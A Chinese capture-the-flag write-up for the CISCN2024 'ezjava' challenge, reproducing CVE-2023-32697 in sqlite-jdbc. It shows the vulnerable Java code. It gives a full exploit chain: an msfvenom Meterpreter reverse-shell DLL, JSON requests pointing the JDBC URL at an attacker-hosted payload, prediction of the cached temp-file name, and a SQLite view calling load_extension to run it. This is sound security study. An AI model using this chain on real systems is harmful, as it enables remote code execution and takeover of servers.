

CISCN2024

ezjava

最后一小时找到了复现这个CVE的文章（[CVE-2023-32697](#)），赛后半小时才在本地打通，只好赛后复现一下了，不太确定题目环境能不能跑成，不太确定这是不是预期解

题目

ezjava

题目分值: 295 我的得分: 0

题目内容: 小安的数据源测试站已经开发了一部分, 你能帮他找到问题吗?
(本题下发后, 请通过http访问相应的ip和port, 例如 nc ip port, 改为http://ip:port/)
[附件下载](#) [提取码 \(GAME\)](#) [备用下载](#)

下发赛题

Flag:

提交

1 Y4nh3

2 江苏联院中华中专办...

3 HnuSec

关键代码

/jdbc/connect接口, post传递json格式数据, 可以控制jdbc连接参数, 如
{"type":"3","url":"jdbc:sqlite::resource:http://192.168.23.1:8888/exp.db", "tableName":"test"}

```
public class JdbcBean implements Serializable {
    private Integer type;
    private String url;
    private String tableName;

    public JdbcBean(Integer type, String url, String tableName) {
        this.type = type;
        this.url = url;
        this.tableName = tableName;
    }
    /*
    some code
```

```

    */
}

```

```

@Controller
@RequestMapping("/{jdbc}")
public class JdbcController {
    /*
        some code
    */
    @RequestMapping("/{connect}")
    @ResponseBody
    public ResultBean connect(@RequestBody JdbcBean jdbcBean) {
        try {
            return new ResultBean(1, String.join(",",
this.datasourceServiceImpl.testDatasourceConnectionAble(jdbcBean)));
        } catch (Exception var3) {
            return new ResultBean(0, "连接失败");
        }
    }
}

```

type参数控制jdbc连接器类型，3对应sqlite连接器

```

    public String[] testDatasourceConnectionAble(JdbcBean jdbcBean) throws
ClassNotFoundException, SQLException {
        DatasourceLoadConfig var10000 = this.datasourceLoadConfig;
        Map<String, String> config = DatasourceLoadConfig.getConfig();
        switch (jdbcBean.getType()) {
            /*
                some code
            */
            case 3:
                SqliteDatasourceConnector sqliteDatasourceConnector = new
SqliteDatasourceConnector(jdbcBean.getUrl());
                if (jdbcBean.getTableName() != null) {
                    return
sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName());
                }

                return sqliteDatasourceConnector.getTables();
            case 4:
                Class.forName((String)config.get("JDBC-SQLITE"));
                return new String[]{" "};
            default:
                return new String[]{" "};
        }
    }
}

```

漏洞关键在于实现sqlite连接器时，允许LoadExtension，同时在上一部分代码，连接数据库后会调用getTableContent函数，执行sql语句获取数据库数据

```
public class SqliteDatasourceConnector implements DatasourceConnector {
    private Connection connection;


    public SqliteDatasourceConnector(String url) throws ClassNotFoundException,
SQLException {
        Class.forName("org.sqlite.JDBC");
        SQLiteConfig config = new SQLiteConfig();
        config.enableLoadExtension(true);
        this.connection = DriverManager.getConnection(url, config.toProperties());
        this.connection.setAutoCommit(true);
    }
    /*
        some code
    */
    public String[] getTableContent(String tableName) {
        String sql = "select * from " + tableName;

        try {
            Statement statement = this.connection.createStatement();
            Throwable var4 = null;

            try {
                ResultSet resultSet = statement.executeQuery(sql);
                Throwable var6 = null;
            }
            /*
                some code
            */
        }
    }
}
```

复现

本地运行

 127.0.0.1:11443/jdbc/index

JDBC Connection Test (only pgsql and mysql now)

Database Type:

MySQL

IP:

Enter IP

Port:

Enter Port

Database Name:

Enter Database Name

Username:

Enter Username

Password:

Enter Password




Test Connection

Result will appear here

准备好一个反弹shell用的dll文件，linux环境的就准备so文件（[参考](#)），第一次跑通用的是linux环境，这一次就试试windows，msf生成dll

```
msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=YOUR_IP
LPORT=YOUR_PORT > reverse_shell64bit.dll
```

把dll文件放在web服务器，然后post发送请求
{"type":"3","url":"jdbc:sqlite::resource:http://YOUR_IP:YOUR_PORT/reverse_shell64bit.dll","tableName":"test"}
Sqlite Jdbc连接后，会在本地生成一个缓存文件，windows是在%TEMP%，linux是在/tmp，文件名最后的一串数字为

名称	路径
 sqlite-jdbc-tmp--481723513.db	C:\Users\... \AppData\Local\Temp
 sqlite-jdbc-tmp--20323018.db	C:\Users\... \AppData\Local\Temp
 sqlite-jdbc-tmp-1290243835.db	C:\Users\... \AppData\Local\Temp

Main.java

Run

```
1 // Online Java Compiler
2 // Use this editor to write, compile and run your Java code online
3 import java.net.URL;
4 class HelloWorld {
5     public static void main(String[] args) throws Exception{
6         System.out.println(new URL("http://192.168.182.134:8888
7             /reverse_shell64bit.dll").hashCode());
8     }
9 }
```

Output

java -cp /tmp/s7JgBrdBwr/HelloWorld
-481723513

=== Code Execution Successful ===

这样就造成恶意文件被存储在目标机器上，接下来要做的就是让目标调用执行该恶意文件，首先创建一个sqlite数据库视图，使得在执行select * from test时，会执行该视图定义的sql语句，加载该恶意文件

```
# 注意windows环境需要在后一个参数加上dll入口函数，且%TEMP%需要改为完整路径，所以需要知道
# 用户名，参数需用单引号包裹
# linux
create view test as select load_extension('/tmp/sqlite-jdbc-tmp--481723513.db')
# windows
create view test as select load_extension('%TEMP%/sqlite-jdbc-tmp-
-481723513.db', 'DllEntryPoint')
```

最后把刚刚创建sqlite数据库exp.db放到web服务器，发送post请求
{ "type": "3", "url": "jdbc:sqlite::resource:http://YOUR_IP:YOUR_PORT/exp.db", "tableName": "test" } sqlite jdbc连接服务器后，会执行sql语句，加载恶意文件，即可成功反弹shell